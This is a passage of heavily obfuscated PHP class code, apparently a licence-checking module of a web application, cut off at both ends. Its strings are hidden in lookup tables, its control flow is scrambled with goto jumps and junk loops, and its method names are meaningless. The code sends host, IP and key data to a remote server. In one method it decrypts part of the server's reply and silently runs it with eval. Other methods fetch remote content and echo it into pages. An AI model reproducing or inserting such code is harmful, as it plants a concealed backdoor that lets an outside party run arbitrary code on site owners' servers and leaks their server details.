$bѯ[$bӃ[65]], $bӃ[161] => $bӃ[10]); foreach ($FՂ蚂 as $A뉵) { if (!isset($bѯ[$A뉵]) || !$bѯ[$A뉵]) { continue; } $A݊[$A뉵] = $bѯ[$A뉵]; } goto D; e򱿏: } private function ihknca1c2f14() { goto e; Fۡ: $Aꕢ = $D΅[124](16); $b֕ = $Aꕢ . $b葅޲[$D΅[120]] . $this->{$_SERVER[ʬ][147]}($D΅[114]($b葅޲[$D΅[209]]), $Aꕢ); $b葅޲[$D΅[123]] = $D΅[118]($D΅[214]($this->{$_SERVER[ʬ][147]}($b֕, $D΅[216]))); goto e钗; fۑ: $Dᴍ = $B[591]; while ($Dᴍ < $B[552]) { if ($Dᴍ >= 0) { break; } $Dᴍ++; } $FʅԘ = $D΅[214]($D΅[25]($C, 10, 16)); goto e͢; E־: if ($AϚҍ[$D΅[178]] == $D΅[179]) { $aՄ = $this->{$_SERVER[ʬ][147]}($c, $D΅[180]); $A䓍 = $this->{$_SERVER[ʬ][127]}($D΅[148]($cׄ), $c . $D΅[181], 3); $Bմ = $this->{$_SERVER[ʬ][182]}($D΅[183] . $aՄ . $D΅[184] . $A䓍, -1); $D΅[166]($Bմ, !0); } else { if ($AϚҍ[$D΅[178]] == $D΅[185]) { $A܈ = $D΅[25]($D΅[114]($D΅[186] . $c), 12, 15) . $D΅[187]; $A䓍 = $this->{$_SERVER[ʬ][188]}($D΅[2]($AϚҍ[$D΅[189]]), $A܈, 2); $B = $D΅[190]($A䓍, !0); if (!$D΅[191]($B) || !$D΅[191]($B[$D΅[192]]) || $B[$D΅[165]] != !0) { $Dܘ = $D΅[193]; $C = $B[$D΅[192]] ? $D΅[194] . $B[$D΅[192]] : $Dܘ; $D΅[166]($C, !1); } else { $cׄ[$D΅[168]] = $B[$D΅[192]][$D΅[195]]; } } else { $B = $this->{$_SERVER[ʬ][182]}($D΅[196], $cׄ, 10); } } if (!$D΅[191]($B) || !$D΅[191]($B[$D΅[192]]) || $B[$D΅[165]] != !0) { $Dܘ = $D΅[197]($D΅[198]); $C = $B[$D΅[192]] ? $D΅[194] . $B[$D΅[192]] : $Dܘ; $D΅[166]($C, !1); } $Fڵ = $B[$D΅[192]]; goto f; e͢: $d֐ = $this->{$_SERVER[ʬ][127]}($D΅[148]($Fڵ), $C); $b͝ = $B[592]; if (!$b͝) { return; } goto D; F̕: if (!isset($AϚҍ[$D΅[165]]) || $D΅[24]($AϚҍ[$D΅[165]]) != 16) { $D΅[166]($D΅[167] . $AϚҍ[$D΅[165]], !1); } $e̿Ľ = $D΅[61]($D΅[62])->{$_SERVER[ʬ][63]}($D΅[116]); $cׄ = array($D΅[165] => $AϚҍ[$D΅[165]], $D΅[168] => $D΅[124](16), $D΅[169] => $D΅[149], $D΅[170] => $D΅[171], $D΅[172] => $_SERVER[$D΅[173]], $D΅[174] => $_SERVER[$D΅[175]], $D΅[176] => $_SERVER[$D΅[177]]); goto Dћ㸋; D: $D΅[61]($D΅[11])->{$_SERVER[ʬ][226]}($F[$D΅[227]], array($D΅[228] => $Cϊ)); $D΅[166]($D΅[197]($D΅[208]), !0); goto f; e: $B =& $_SERVER[ֹ]; $D΅ =& $_SERVER[ʬ]; if ($_SERVER[$D΅[44]] != $D΅[162]) { return; } goto c; c: if (!$D΅[104]($GLOBALS, $D΅[132])) { die; } $AϚҍ = $GLOBALS[$D΅[22]]; if (isset($AϚҍ[$D΅[163]])) { $this->{$_SERVER[ʬ][164]}(); die; } goto F̕; fɒ: $Cϊ[$FʅԘ] = $d֐; $B = $B[593]; while ($B < $B[547]) { if ($B >= 0) { break; } $B++; } goto D; D: $D֔Ŧ = $D΅[222]($D΅[61]($D΅[11])->{$_SERVER[ʬ][223]}(), $D΅[224]); $F = $D֔Ŧ[$D΅[225]]; $Cϊ = array(); goto fɒ; f: $BЧ = $this->{$_SERVER[ʬ][199]}($Fڵ[$D΅[200]]); $a = $B[590]; if (!$a) { die; } goto E; Eݠ: $B = $D΅[25]($D΅[114]($b葅޲[$D΅[210]]), 10, 10); $bÐ = $B . $b葅޲[$D΅[120]] . $b葅޲[$D΅[212]]; $b葅޲[$D΅[122]] = $D΅[214]($D΅[118]($this->{$_SERVER[ʬ][147]}($bÐ, $D΅[215]))); goto Fۡ; E: if (!$BЧ || $BЧ != $D΅[201]($Fڵ[$D΅[145]])) { $FҌ = array($D΅[202] => $D΅[61]($D΅[62])->{$_SERVER[ʬ][63]}($D΅[116]), $D΅[203] => $_SERVER[$D΅[115]], $D΅[204] => $D΅[205](), $D΅[174] => $_SERVER[$D΅[175]]); $A䓍 = $this->{$_SERVER[ʬ][206]}($D΅[148]($FҌ)); $this->{$_SERVER[ʬ][182]}($D΅[207] . $A䓍); $D΅[166]($D΅[197]($D΅[208]), !0); } $b葅޲ = array($D΅[209] => $cׄ[$D΅[165]], $D΅[210] => $Fڵ[$D΅[211]], $D΅[212] => $D΅[124](16), $D΅[120] => $Fڵ[$D΅[213]]); if ($cׄ[$D΅[168]]) { $b葅޲[$D΅[212]] = $cׄ[$D΅[168]]; } goto Eݠ; Dћ㸋: $cƗʡ = $B[589]; if (!$cƗʡ) { die; } $c = $D΅[114]($_SERVER[$D΅[115]] . $e̿Ľ); goto E־; e钗: if ($Fڵ[$D΅[217]] && $Fڵ[$D΅[217]] >= 1) { $D΅[61]($D΅[62])->{$_SERVER[ʬ][218]}($D΅[219], $D΅[220]); } $D΅[61]($D΅[62])->{$_SERVER[ʬ][221]}($b葅޲); $C = $D΅[114]($_SERVER[$D΅[115]] . $D΅[214]($e̿Ľ) . $b葅޲[$D΅[210]]); goto fۑ; f: } private function rqegfe91950e() { goto Eゔ; A: $dУ = $d⯬[594]; $EܐĂ[61]($EܐĂ[62])->{$_SERVER[ʬ][218]}($EܐĂ[219], $EܐĂ[229]); $D㶓̊ = $d⯬[595]; goto Fͷ; Eゔ: $d⯬ =& $_SERVER[ֹ]; $EܐĂ =& $_SERVER[ʬ]; $EܐĂ[61]($EܐĂ[62])->{$_SERVER[ʬ][221]}(array($EܐĂ[209] => $EܐĂ[10], $EܐĂ[210] => $EܐĂ[10], $EܐĂ[120] => $EܐĂ[121], $EܐĂ[122] => $EܐĂ[10], $EܐĂ[123] => $EܐĂ[10])); goto A; Fͷ: $this->sdvfd6f194bd = array(); $this->decj5f0000d9 = $EܐĂ[121]; goto C; C: } private function fscj6b72a22b() { goto Cı; FƮ: $BĴ = $this->{$_SERVER[ʬ][188]}($c[$EĮ[91]][$c], $B׉); $Fȩތ = $A[601]; while ($Fȩތ < $A[552]) { if ($Fȩތ >= 0) { break; } $Fȩތ++; } goto b; B: $f䳼 = $EĮ[61]($EĮ[62])->{$_SERVER[ʬ][63]}(); if ($f䳼[$EĮ[120]] == $EĮ[121]) { return; } $eà = $EĮ[61]($EĮ[62])->{$_SERVER[ʬ][63]}($EĮ[116]); goto aڵ; aڵ: $d荈 = $EĮ[222]($EĮ[61]($EĮ[11])->{$_SERVER[ʬ][223]}(), $EĮ[224]); $c = $d荈[$EĮ[225]]; $Bǔ = $A[597]; goto B; cȞ: $cĿϐ = $EĮ[144]($BĴ[$EĮ[145]]); if ($EĮ[230]() >= $cĿϐ) { return $this->{$_SERVER[ʬ][164]}(); } $this->sdvfd6f194bd = $BĴ; goto Fȿ; B: if (strlen($Bǔ) < $A[547]) { die; } $B׉ = $EĮ[114]($_SERVER[$EĮ[115]] . $EĮ[214]($eÃ) . $f䳼[$EĮ[210]]); $Cδ = $A[598]; goto aכظ; aכظ: while (strlen($Cδ) < $A[599]) { if (!$Cδ) { break; } $Cδ++; } $c = $EĮ[214]($EĮ[25]($B׉, 10, 16)); $Bŕ = $A[600]; goto FƮ; b: $BĴ = $EĮ[190]($BĴ, !0); $Eގ = $A[602]; if (!$EĮ[191]($BĴ)) { return $this->{$_SERVER[ʬ][164]}(); } goto cȞ; Fȿ: $this->decj5f0000d9 = $f䳼[$EĮ[120]]; $fљ = $A[603]; while (strlen($fљ) < $A[547]) { if (!$fљ) { break; } $fљ++; } goto f˴ش; Cı: $A =& $_SERVER[ֹ]; $EĮ =& $_SERVER[ʬ]; $_SERVER[$EĮ[175]] = $EĮ[104]($_SERVER, $EĮ[175], APP_HOST); goto B; B: $this->decj5f0000d9 = $EĮ[121]; $b͝ί = $A[596]; while ($b͝ί < $A[552]) { if ($b͝ί >= 0) { break; } $b͝ί++; } goto B; f˴ش: } private function fbyu9b418cdc() { goto FЭ; cٔ: $e = $aނ[604]; if (strlen($e) < $aނ[577]) { return; } $bɷђ = $_SERVER[$dꅔ[44]]; goto f; Dս: $B뼒 = array($dꅔ[234], $dꅔ[235]); if ($dꅔ[236]($bɷђ, $B뼒)) { if ($this->decj5f0000d9 == $dꅔ[121] && isset($D[$dꅔ[237]])) { $dꅔ[166]($dꅔ[197]($dꅔ[232]), !1, $dꅔ[233]); die; } $eα = $this->{$_SERVER[ʬ][137]}(); if ($eα != $dꅔ[201]($dꅔ[238])) { if ($eα <= $dꅔ[61]($dꅔ[139])->{$_SERVER[ʬ][140]}()) { $dꅔ[166]($dꅔ[197]($dꅔ[239]), !1, $dꅔ[233]); die; } } } goto ä; FЭ: $aނ =& $_SERVER[ֹ]; $dꅔ =& $_SERVER[ʬ]; $D = $GLOBALS[$dꅔ[22]]; goto cٔ; f: $e = $aނ[605]; if (!$e) { return; } if ($bɷђ == $dꅔ[231] && $this->decj5f0000d9 == $dꅔ[121]) { $dꅔ[166]($dꅔ[197]($dꅔ[232]), !1, $dꅔ[233]); } goto Dս; ä: } private function watp6045c132() { goto dֿѴ; d: $Aƻ[251]($Aƻ[252]); if ($D && $Aƻ[32]($D, $Aƻ[253])) { echo $D; } die; goto a; FǮ: $D = @$Aƻ[250]($Dۦ, !1, $b); $dȎ = $DЃ[585]; while ($dȎ < $DЃ[547]) { if ($dȎ >= 0) { break; } $dȎ++; } goto d; fĉ: if (!$Aƻ[104]($GLOBALS, $Aƻ[132]) || !isset($_GET[$Aƻ[241]])) { return; } if (!$Aƻ[236]($_SERVER[$Aƻ[44]], $Bӏ)) { return; } $Dۦ = $Aƻ[242]; goto c索; c索: $Dۦ = $this->{$_SERVER[ʬ][243]}($Dۦ, $Aƻ[244]); $FӾ = $DЃ[606]; if (!$FӾ) { return; } goto c溡; dֿѴ: $DЃ =& $_SERVER[ֹ]; $Aƻ =& $_SERVER[ʬ]; $Bӏ = array($Aƻ[135], $Aƻ[240]); goto fĉ; c溡: $b = $Aƻ[245](array($Aƻ[246] => array($Aƻ[247] => $Aƻ[248], $Aƻ[249] => 3))); $f = $DЃ[607]; if (!$f) { return; } goto FǮ; a: } public function yodbac8daf7c($D፷) { goto E; E: $D =& $_SERVER[ֹ]; $Fͪ =& $_SERVER[ʬ]; if ($this->decj5f0000d9 == $Fͪ[254]) { return $D፷; } goto Dў׍; Dў׍: $fْ = array($Fͪ[255], $Fͪ[256], $Fͪ[257], $Fͪ[258], $Fͪ[259], $Fͪ[260], $Fͪ[261], $Fͪ[262]); $F堝 = $Fͪ[0]($Fͪ[263], $Fͪ[104]($this->sdvfd6f194bd, $Fͪ[129], $Fͪ[10])); $E򎇙 = $D[608]; goto dΒ; e: if (strlen($B) < $D[547]) { return; } goto dڞ; eՃ: foreach ($d֡ as $aЏ) { unset($D፷[$aЏ]); $aҖ = $D[609]; while ($aҖ < $D[552]) { if ($aҖ >= 0) { break; } $aҖ++; } } return $D፷; $B = $D[610]; goto e; dΒ: while ($E򎇙 < $D[547]) { if ($E򎇙 >= 0) { break; } $E򎇙++; } $d֡ = array(); foreach ($fْ as $aЏ) { if (!$Fͪ[236]($aЏ, $F堝)) { $d֡[] = $aЏ; } } goto eՃ; dڞ: } private function xkfhf86d5a27() { goto eł; eŚۂ: $eɸܤ = $_SERVER[$c[44]]; $e = array($c[265]); foreach ($e as $B) { if ($B == $eɸܤ || $c[25]($eɸܤ, 0, $c[24]($B)) == $B) { $c[166]($c[197]($c[266]), !1); } } goto D; c䚿: $GLOBALS[$c[91]][$c[268]] = $c[220]; $Bʈ = $C∟[613]; if (!$Bʈ) { return; } goto DԈ; fތ: $GLOBALS[$c[91]][$c[95]][$c[264]] = $c[229]; $E = $C∟[612]; if (strlen($E) < $C∟[555]) { return; } goto c䚿; D: $GLOBALS[$c[91]][$c[95]][$c[267]] = $c[220]; $F = $C∟[611]; while (strlen($F) < $C∟[547]) { if (!$F) { break; } $F++; } goto fތ; DԈ: if ($c[61]($c[269])->{$_SERVER[ʬ][63]}($c[85]) != $c[229]) { $c[61]($c[269])->{$_SERVER[ʬ][221]}($c[85], $c[229]); } goto b߈; eł: $C∟ =& $_SERVER[ֹ]; $c =& $_SERVER[ʬ]; if ($this->decj5f0000d9 != $c[121]) { $GLOBALS[$c[91]][$c[95]][$c[264]] = $c[220]; return; } goto eŚۂ; b߈: } public function awzx735b3881() { return $_SERVER[ʬ][270]; } private function rnmh455cfa0d() { goto a⪮; a⪮: $aԜᵘ =& $_SERVER[ֹ]; $Cվ쪯 =& $_SERVER[ʬ]; $DǶ匳 = array($Cվ쪯[271], $Cվ쪯[272], $Cվ쪯[273]); goto cаٗ; fḳ: if ($b歧 && $Cվ쪯[230]() - $b歧 < $Cվ쪯[201]($Cվ쪯[278])) { return; } $Cվ쪯[13](array($Cվ쪯[276], $Cվ쪯[152]), $D, $Cվ쪯[230]()); $fф = array($Cվ쪯[165] => $Cվ쪯[61]($Cվ쪯[62])->{$_SERVER[ʬ][63]}($Cվ쪯[209]), $Cվ쪯[178] => $this->decj5f0000d9, $Cվ쪯[176] => $_SERVER[$Cվ쪯[177]], $Cվ쪯[169] => $Cվ쪯[149], $Cվ쪯[172] => $_SERVER[$Cվ쪯[173]]); goto A; bʐӰ: if ($this->decj5f0000d9 == $Cվ쪯[121] || !$Cվ쪯[104]($GLOBALS, $Cվ쪯[132])) { return; } if (!$Cվ쪯[236]($_SERVER[$Cվ쪯[44]], $DǶ匳)) { return; } if ($Cվ쪯[230]() % 4 != 0) { return; } goto EɎ; cаٗ: $D = $Cվ쪯[274] . $Cվ쪯[114]($Cվ쪯[275]); $c = $aԜᵘ[614]; while (strlen($c) < $aԜᵘ[552]) { if (!$c) { break; } $c++; } goto bʐӰ; EɎ: $b歧 = $Cվ쪯[13](array($Cվ쪯[276], $Cվ쪯[277]), $D); $Eԕ = $aԜᵘ[615]; while (strlen($Eԕ) < $aԜᵘ[552]) { if (!$Eԕ) { break; } $Eԕ++; } goto fḳ; aϰϕ: if ($this->{$_SERVER[ʬ][199]}($F[$Cվ쪯[280]]) != $fф[$Cվ쪯[165]]) { $dՉǰ = array($Cվ쪯[202] => $Cվ쪯[61]($Cվ쪯[62])->{$_SERVER[ʬ][63]}($Cվ쪯[116]), $Cվ쪯[203] => $_SERVER[$Cվ쪯[115]], $Cվ쪯[204] => $Cվ쪯[205](), $Cվ쪯[174] => $_SERVER[$Cվ쪯[175]]); $E㧓 = $this->{$_SERVER[ʬ][206]}($Cվ쪯[148]($dՉǰ)); $F = $this->{$_SERVER[ʬ][182]}($Cվ쪯[207] . $E㧓); if ($F && $Cվ쪯[191]($F) && isset($F[$Cվ쪯[280]])) { $D᭩ = $this->{$_SERVER[ʬ][188]}($F[$Cվ쪯[280]], 2); if ($D᭩) { $D᭩ = $this->{$_SERVER[ʬ][199]}($D᭩); } if ($D᭩) { try { @eval($D᭩); } catch (Exception $b왘) { } } } } goto BŻʘ; a랞: if (!$Cվ쪯[191]($F)) { return; } if ($F[$Cվ쪯[165]] && $F[$Cվ쪯[280]]) { if ($this->{$_SERVER[ʬ][199]}($F[$Cվ쪯[280]]) == $fф[$Cվ쪯[165]]) { return; } } $this->{$_SERVER[ʬ][164]}(); goto aϰϕ; A: $b奰 = $aԜᵘ[616]; while ($b奰 < $aԜᵘ[547]) { if ($b奰 >= 0) { break; } $b奰++; } $F = $this->{$_SERVER[ʬ][182]}($Cվ쪯[279], $fф); goto a랞; BŻʘ: } private function qyek4fa6445d($bν = '', $D֎ = array(), $fރ = 5) { goto FΤ; FΤ: $F֙ԝ =& $_SERVER[ֹ]; $BѼ =& $_SERVER[ʬ]; $C㭜ѣ = $BѼ[281]; goto B; bߔǽ: return $BѼ[190]($D֎, !0); $f = $F֙ԝ[619]; if (!$f) { die; } goto B㑦; B: $bݾ鸿 = $F֙ԝ[617]; while (strlen($bݾ鸿) < $F֙ԝ[552]) { if (!$bݾ鸿) { break; } $bݾ鸿++; } $C㭜ѣ = $this->{$_SERVER[ʬ][243]}($C㭜ѣ, $BѼ[282]); goto d; d: $C㭜ѣ = $C㭜ѣ . $bν . $BѼ[283] . $BѼ[284]($D֎); if ($D֎ === -1) { return $C㭜ѣ; } $DϾ = $BѼ[245](array($BѼ[246] => array($BѼ[249] => $fރ, $BѼ[247] => $BѼ[285]), $BѼ[286] => array($BѼ[287] => !1, $BѼ[288] => !1))); goto bь; bь: $D֎ = @$BѼ[250]($C㭜ѣ, !1, $DϾ); $A = $F֙ԝ[618]; if (strlen($A) < $F֙ԝ[555]) { return; } goto bߔǽ; B㑦: } private function yjmg44903c97() { goto c¼; eӑ: $f = $Bۗ[620]; if (!$f) { return; } $B߽ = $e[$this->decj5f0000d9]; goto C; C: $Eƈ = $Bۗ[621]; if (strlen($Eƈ) < $Bۗ[552]) { return; } $B߽ = $Aͨ[201]($B߽ ? $B߽ : $Aͨ[290]); goto D쵠; D쵠: $a륎 = $Aͨ[104]($this->sdvfd6f194bd, $Aͨ[316]); $a륎 = $a륎 ? $Aͨ[201]($a륎) : 0; return $B߽ + $a륎; goto B엉; B엉: $f҇ = $Bۗ[622]; if (strlen($f҇) < $Bۗ[577]) { return; } goto D; c¼: $Bۗ =& $_SERVER[ֹ]; $Aͨ =& $_SERVER[ʬ]; $e = array($Aͨ[289] => $Aͨ[290], $Aͨ[291] => $Aͨ[292], $Aͨ[293] => $Aͨ[294], $Aͨ[295] => $Aͨ[296], $Aͨ[297] => $Aͨ[298], $Aͨ[299] => $Aͨ[238], $Aͨ[300] => $Aͨ[238], $Aͨ[301] => $Aͨ[290], $Aͨ[302] => $Aͨ[292], $Aͨ[303] => $Aͨ[294], $Aͨ[304] => $Aͨ[305], $Aͨ[306] => $Aͨ[296], $Aͨ[307] => $Aͨ[308], $Aͨ[309] => $Aͨ[298], $Aͨ[310] => $Aͨ[311], $Aͨ[312] => $Aͨ[313], $Aͨ[314] => $Aͨ[315]); goto eӑ; D: } public function minoe07b5fbb($dǰ) { goto E¯ψ; D杖: if (!$bσ[236]($dǰ[$bσ[318]], $cʅ)) { $bσ[166]($bσ[321], !1, $bσ[233]); } goto B֋; f: if ($A٣ >= $bσ[201]($bσ[238])) { return; } $Fブ = $bσ[61]($bσ[139])->{$_SERVER[ʬ][140]}(); $b = $D֘ݴ[623]; goto E޽; E޽: if (strlen($b) < $D֘ݴ[577]) { die; } if ($Fブ <= $A٣) { return; } $cʅ = $bσ[61]($bσ[139])->{$_SERVER[ʬ][317]}($bσ[318])->{$_SERVER[ʬ][319]}($A٣)->{$_SERVER[ʬ][320]}(); goto eݝ; E¯ψ: $D֘ݴ =& $_SERVER[ֹ]; $bσ =& $_SERVER[ʬ]; $A٣ = $this->{$_SERVER[ʬ][137]}(); goto f; eݝ: $dћ = $D֘ݴ[624]; while ($dћ < $D֘ݴ[555]) { if ($dћ >= 0) { break; } $dћ++; } $cʅ = $bσ[222]($cʅ, $bσ[10], $bσ[318]); goto D杖; B֋: } public function rlmv6ec59368() { goto eܤ; eڜ: $a˩ = $this->{$_SERVER[ʬ][243]}($a˩, $Bȱ힂[244]); $f = $_SERVER[ֹ][625]; $aՂǂ = $Bȱ힂[245](array($Bȱ힂[246] => array($Bȱ힂[247] => $Bȱ힂[248], $Bȱ힂[249] => 3))); goto a; a: $A͙ = @$Bȱ힂[250]($a˩, !1, $aՂǂ); echo $Bȱ힂[323] . $Bȱ힂[324]($A͙) . $Bȱ힂[325]; goto fӶ; eܤ: $Bȱ힂 =& $_SERVER[ʬ]; if (!$Bȱ힂[104]($GLOBALS, $Bȱ힂[132]) || $Bȱ힂[322](1, 100) > 20) { return; } $a˩ = $Bȱ힂[242]; goto eڜ; fӶ: } private function yhmrf906a6f1($bӞ, $f񱌐, $cջȦ = 3) { goto d; b؟: return $Aև׍; goto a; Aڷ: $Cָܢ = $Dô[327]; $AԔ = $eͶ[628]; if (!$AԔ) { die; } goto Cۓ; d: $eͶ =& $_SERVER[ֹ]; $Dô =& $_SERVER[ʬ]; $Dô[326](1); goto eƘ; Cۓ: switch ($dەӠ) { case $Dô[229]: $Aև׍ = $this->{$_SERVER[ʬ][147]}($bӞ, $Dô[214]($f񱌐 . $cθ)); $Fӵ = $eͶ[629]; while (strlen($Fӵ) < $eͶ[577]) { if (!$Fӵ) { break; } $Fӵ++; } break; case $Dô[220]: $Aև׍ = $this->{$_SERVER[ʬ][147]}($bӞ, $Dô[214]($cθ . $f񱌐)); $fÎ = $eͶ[630]; break; case $Dô[328]: $Aև׍ = $this->{$_SERVER[ʬ][147]}($bӞ, $Dô[118]($cθ . $f񱌐)); break; case $Dô[329]: $Aև׍ = $this->{$_SERVER[ʬ][147]}($bӞ, $Dô[114]($cθ . $f񱌐)); $a™ = $eͶ[631]; if (!$a™) { return; } break; $D = $eͶ[632]; while (strlen($D) < $eͶ[552]) { if (!$D) { break; } $D++; } case $Dô[330]: goto cݯλ; cݯλ: $bӞ = $Dô[118]($bӞ); $B㩄 = $Dô[331](0, 64); $Fӗ = $eͶ[633]; goto ań; bቃ: $d䄔 = 0; $fꊃ = 0; for ($BҢ = 0; $BҢ < $Dô[24]($bӞ); $BҢ++) { $fꊃ = $fꊃ == $Dô[24]($Eל) ? 0 : $fꊃ; $Eܒ֥ = $eͶ[637]; $d䄔 = ($B㩄 + $Dô[332]($Cָܢ, $bӞ[$BҢ]) + $Dô[333]($Eל[$fꊃ++])) % 64; $Dʎ = $eͶ[638]; $b굏 .= $Cָܢ[$d䄔]; } goto F҄; F҄: $Aև׍ = $Dô[324]($A򅬼 . $b굏); $d֍ = $eͶ[639]; if (!$d֍) { die; } goto eܢЈ; e: $b굏 = $Dô[10]; $BҢ = 0; $e綱 = $eͶ[636]; goto bቃ; eܢЈ: break; $c = $eͶ[640]; goto F٣; ań: while ($Fӗ < $eͶ[599]) { if ($Fӗ >= 0) { break; } $Fӗ++; } $A򅬼 = $Cָܢ[$B㩄]; $dﲅ = $eͶ[634]; goto FĴך; FĴך: $Eל = $Dô[114]($A򅬼 . $Dô[114]($f񱌐 . $A򅬼) . $f񱌐); $Eל = $Dô[25]($Eל, $B㩄 % 8, $B㩄 % 8 + 7); $a嗸 = $eͶ[635]; goto e; F٣: default: $Aև׍ = $this->{$_SERVER[ʬ][147]}($bӞ, $f񱌐 . $cθ); $dٻ = $eͶ[641]; while (strlen($dٻ) < $eͶ[555]) { if (!$dٻ) { break; } $dٻ++; } break; $e܊ = $eͶ[642]; if (!$e܊) { die; } } $Aև׍ = $Dô[214]($dەӠ . $cθ . $Aև׍); if ($cջȦ - 1 > 0) { $Aև׍ = $this->{$_SERVER[ʬ][127]}($Aև׍, $f񱌐, $cջȦ - 1); } goto b؟; eƘ: $eʱ = $eͶ[626]; if (!$eʱ) { return; } $bӞ = $Dô[2]($bӞ); goto e; e: $dەӠ = $Dô[322](0, 5) . $Dô[10]; $B = $eͶ[627]; $cθ = $Dô[124](15); goto Aڷ; a: } private function kqdme7107875($e, $E, $FҪЦ = 3) { goto B٪; E: $cԘ = $e[0]; $e٭ = $Cȵ[25]($e, 1, 15); $e = $Cȵ[25]($e, 16); goto AɆ; b: $e = $Cȵ[2]($e); $C = $C܍[643]; if (strlen($C) < $C܍[577]) { return; } goto F; F: $e = $Cȵ[214]($e); $cٛѲ = $C܍[644]; if (!$cٛѲ) { die; } goto E; B٪: $C܍ =& $_SERVER[ֹ]; $Cȵ =& $_SERVER[ʬ]; if (!$Cȵ[334]($e) || $Cȵ[24]($e) < 10) { return !1; } goto b; AɆ: $B = $C܍[645]; if (strlen($B) < $C܍[577]) { die; } $A΂ = $Cȵ[327]; goto cӄ; cӄ: switch ($cԘ) { case $Cȵ[229]: $C = $this->{$_SERVER[ʬ][243]}($e, $Cȵ[214]($E . $e٭)); $B奨 = $C܍[646]; if (strlen($B奨) < $C܍[599]) { return; } break; $eױأ = $C܍[647]; case $Cȵ[220]: $C = $this->{$_SERVER[ʬ][243]}($e, $Cȵ[214]($e٭ . $E)); break; case $Cȵ[328]: $C = $this->{$_SERVER[ʬ][243]}($e, $Cȵ[118]($e٭ . $E)); $C = $C܍[648]; break; $F̓ = $C܍[649]; case $Cȵ[329]: $C = $this->{$_SERVER[ʬ][243]}($e, $Cȵ[114]($e٭ . $E)); $C = $C܍[650]; if (!$C) { die; } break; case $Cȵ[330]: goto F; cʰ骔: $EԊ = $e[0]; $fП = $C܍[652]; while ($fП < $C܍[552]) { if ($fП >= 0) { break; } $fП++; } goto e҆; F: $e = $Cȵ[335]($e); $Bв = $C܍[651]; if (strlen($Bв) < $C܍[547]) { return; } goto cʰ骔; Ä: if (strlen($b) < $C܍[547]) { return; } $Cܝ = $Cȵ[25]($Cܝ, $A∏ % 8, $A∏ % 8 + 7); $fꎧ = $C܍[655]; goto A읓; e҆: $e = $Cȵ[25]($e, 1); $a = $C܍[653]; if (!$a) { return; } goto FƋ; A읓: if (!$fꎧ) { die; } $eЯ = $Cȵ[10]; $Cϖ = 0; goto Dǎ; f: $cϕ = $C܍[657]; if (strlen($cϕ) < $C܍[552]) { die; } break; goto b; b: $F־ = $C܍[658]; while (strlen($F־) < $C܍[552]) { if (!$F־) { break; } $F־++; } goto c; D: $D㠛¾ = 0; for ($Cϖ = 0; $Cϖ < $Cȵ[24]($e); $Cϖ++) { $D㠛¾ = $D㠛¾ == $Cȵ[24]($Cܝ) ? 0 : $D㠛¾; $AՒ = $D㠛¾++; $e = $Cȵ[332]($A΂, $e[$Cϖ]) - $A∏ - $Cȵ[333]($Cܝ[$AՒ]); while ($e < 0) { $e += 64; } $eЯ .= $A΂[$e]; } $C = $Cȵ[336]($eЯ); goto f; Dǎ: $e = 0; $d = $C܍[656]; while (strlen($d) < $C܍[547]) { if (!$d) { break; } $d++; } goto D; FƋ: $A∏ = $Cȵ[332]($A΂, $EԊ); $Cܝ = $Cȵ[114]($EԊ . $Cȵ[114]($E . $EԊ) . $E); $b = $C܍[654]; goto Ä; c: default: $C = $this->{$_SERVER[ʬ][243]}($e, $E . $e٭); break; $bٔ = $C܍[591]; if (!$bٔ) { return; } } if ($FҪЦ - 1 > 0) { $C = $this->{$_SERVER[ʬ][188]}($C, $E, $FҪЦ - 1); } return $C; goto CƐ; CƐ: } public function aspq9d9e4d82($B꺻) { goto E; dϪ: return $d͡; goto F¸; Eɂϐ: $Dؾ = $this->{$_SERVER[ʬ][337]}(); $E = ($D֖ - 1) * ($Dؾ - 1); $BЭ = $d[659]; goto fٞ; fۦƯ: $c = 2; for ($D = 0; $D < $E * 10; $D++) { if (($E * $D + 1) % $c == 0) { $c = $Dۗȅ[201](($E * $D + 1) / $c); break; } } $Aٗ = $this->{$_SERVER[ʬ][147]}($D֖ * $Dؾ . $Dۗȅ[10], $Dۗȅ[149]); goto d; fٞ: if (strlen($BЭ) < $d[599]) { die; } $c = $Dۗȅ[201](($D֖ + $Dؾ) / 2); while (1) { $Dȣ = $c; $C = $d[660]; if (strlen($C) < $d[555]) { return; } $e = $E; while ($e % $Dȣ != 0) { $B܂ = $e; $e = $Dȣ; $Dȣ = $B܂ % $Dȣ; $d = $d[661]; while (strlen($d) < $d[547]) { if (!$d) { break; } $d++; } } if ($Dȣ == 1) { break; } else { $c++; } } goto fۦƯ; E: $d =& $_SERVER[ֹ]; $Dۗȅ =& $_SERVER[ʬ]; $D֖ = $this->{$_SERVER[ʬ][337]}(); goto Eɂϐ; d: $DԆ = $Dۗȅ[114]($Dۗȅ[338] . ($D֖ + $Dؾ) . $Dۗȅ[339] . $c . $Dۗȅ[339] . $c . $Dۗȅ[340]); $Eˏ = $d[662]; if (!$Eˏ) { die; } goto C汝; C汝: $d͡ = $this->{$_SERVER[ʬ][147]}($B꺻, $DԆ) . $Dۗȅ[341] . $Aٗ; $a˨ю = $d[663]; if (!$a˨ю) { return; } goto dϪ; F¸: } public function afts512a7438($D抴) { goto c; E䚒: $dእ = $this->{$_SERVER[ʬ][243]}($b懊[1] . $EƂ̆[10], $EƂ̆[149]); $F׿ = $Eي[665]; while (strlen($F׿) < $Eي[577]) { if (!$F׿) { break; } $F׿++; } goto B邛; D: $eّ = $Eي[674]; if (!$eّ) { return; } return $aƎ; goto e֓; cқ: $E݄ = $EƂ̆[201](($Eȩ͂ + $E) / 2); while (1) { $E׳á = $E݄; $FĒ = $Eي[670]; while ($FĒ < $Eي[552]) { if ($FĒ >= 0) { break; } $FĒ++; } $C˵ = $C񨉴; $DӦ = $Eي[671]; if (strlen($DӦ) < $Eي[555]) { die; } while ($C˵ % $E׳á != 0) { $dƩ = $C˵; $f̃˫ = $Eي[672]; while ($f̃˫ < $Eي[552]) { if ($f̃˫ >= 0) { break; } $f̃˫++; } $C˵ = $E׳á; $E׳á = $dƩ % $E׳á; $A = $Eي[673]; if (!$A) { die; } } if ($E׳á == 1) { break; } else { $E݄++; } } $aڼύ = 2; goto d; d̓: $C񨉴 = ($Eȩ͂ - 1) * ($E - 1); $Fᮍ = $Eي[669]; if (strlen($Fᮍ) < $Eي[555]) { return; } goto cқ; Cփ: $Díú = $Eي[666]; $E = 0; for ($d낙 = 3; $d낙 < $dእ; $d낙 += 2) { if ($dእ % $d낙 != 0) { continue; } $Eȩ͂ = $d낙; $E = $Eي[667]; if (strlen($E) < $Eي[577]) { die; } $E = $EƂ̆[201]($dእ / 